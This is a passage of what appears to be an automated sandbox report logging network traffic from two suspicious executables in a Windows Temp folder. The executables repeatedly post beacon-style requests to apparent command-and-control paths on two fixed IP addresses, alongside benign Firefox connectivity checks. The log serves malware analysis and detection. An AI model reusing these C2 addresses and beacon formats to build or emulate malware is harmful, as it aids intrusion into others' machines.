Jul 27, 2024 12:02:55.891500950 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 12:02:56.139422894 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	49841	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:55.154069901 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:55.920708895 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:55.921437979 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:02:56.173346996 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.5	49844	34.107.221.82	80	2940	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:55.324008942 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 27, 2024 12:02:55.818223953 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 27 Jul 2024 00:17:43 GMT Age: 35112 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	49849	185.215.113.19	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:56.254229069 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:57.001492023 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:57.002159119 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 12:02:57.253314972 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	49850	34.107.221.82	80	2940	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:56.291506052 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 27, 2024 12:02:56.775002956 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 26 Jul 2024 14:19:52 GMT Age: 70984 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 27, 2024 12:02:57.329375982 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 27, 2024 12:02:57.429591894 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 26 Jul 2024 14:19:52 GMT Age: 70985 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 27, 2024 12:03:02.490441084 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 27, 2024 12:03:02.591881990 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 26 Jul 2024 14:19:52 GMT Age: 70990 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 27, 2024 12:03:12.603533030 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 27, 2024 12:03:22.615195990 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 27, 2024 12:03:32.634752989 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 27, 2024 12:03:42.658752918 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 27, 2024 12:03:52.682399988 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	49851	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:56.294785023 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:57.049443960 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:57.050136089 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:02:57.297735929 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	49855	34.107.221.82	80	2940	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:57.320981979 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 27, 2024 12:02:57.786786079 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 27 Jul 2024 00:17:43 GMT Age: 35114 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 27, 2024 12:03:02.385931969 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 27, 2024 12:03:02.485121965 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 27 Jul 2024 00:17:43 GMT Age: 35119 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 27, 2024 12:03:03.225584030 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 27, 2024 12:03:03.324141026 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 27 Jul 2024 00:17:43 GMT Age: 35120 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 27, 2024 12:03:13.328125954 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 27, 2024 12:03:23.341415882 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 27, 2024 12:03:33.363857031 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 27, 2024 12:03:43.387530088 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	49856	185.215.113.19	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:57.376521111 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:58.139919043 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:58.140749931 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 12:02:58.393254042 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	49857	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:57.409632921 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:58.193295956 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:58.193850040 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:02:58.443480968 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	49858	185.215.113.19	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:58.511352062 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:59.289454937 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:59.290230989 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 12:02:59.545658112 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	49859	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:58.564625978 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:59.334722996 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:59.335333109 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:02:59.601392031 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	49860	185.215.113.19	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:59.667548895 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:03:00.455908060 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:03:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:03:00.458355904 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 12:03:00.716325045 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:03:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.5	49861	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:59.715914011 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:03:00.471031904 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:03:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
